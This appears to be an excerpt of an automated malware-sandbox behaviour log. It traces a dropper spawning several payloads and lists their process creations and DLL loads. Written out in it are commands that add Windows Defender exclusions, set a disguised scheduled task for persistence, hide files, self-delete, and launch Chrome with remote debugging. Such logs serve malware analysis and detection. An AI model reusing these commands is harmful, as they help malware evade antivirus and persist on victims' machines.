Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2616 --field-trial-handle=2220,i,14010309326821436661,15778017259249604368,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe "C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe "C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe "C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe "C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe "C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe "C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe "C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process created: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe "C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process created: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe "C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\wyxpjht"
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process created: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe "C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe"
Source: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	Process created: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe "C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe"
Source: C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	Section loaded: winmm.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: devobj.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: profapi.dll
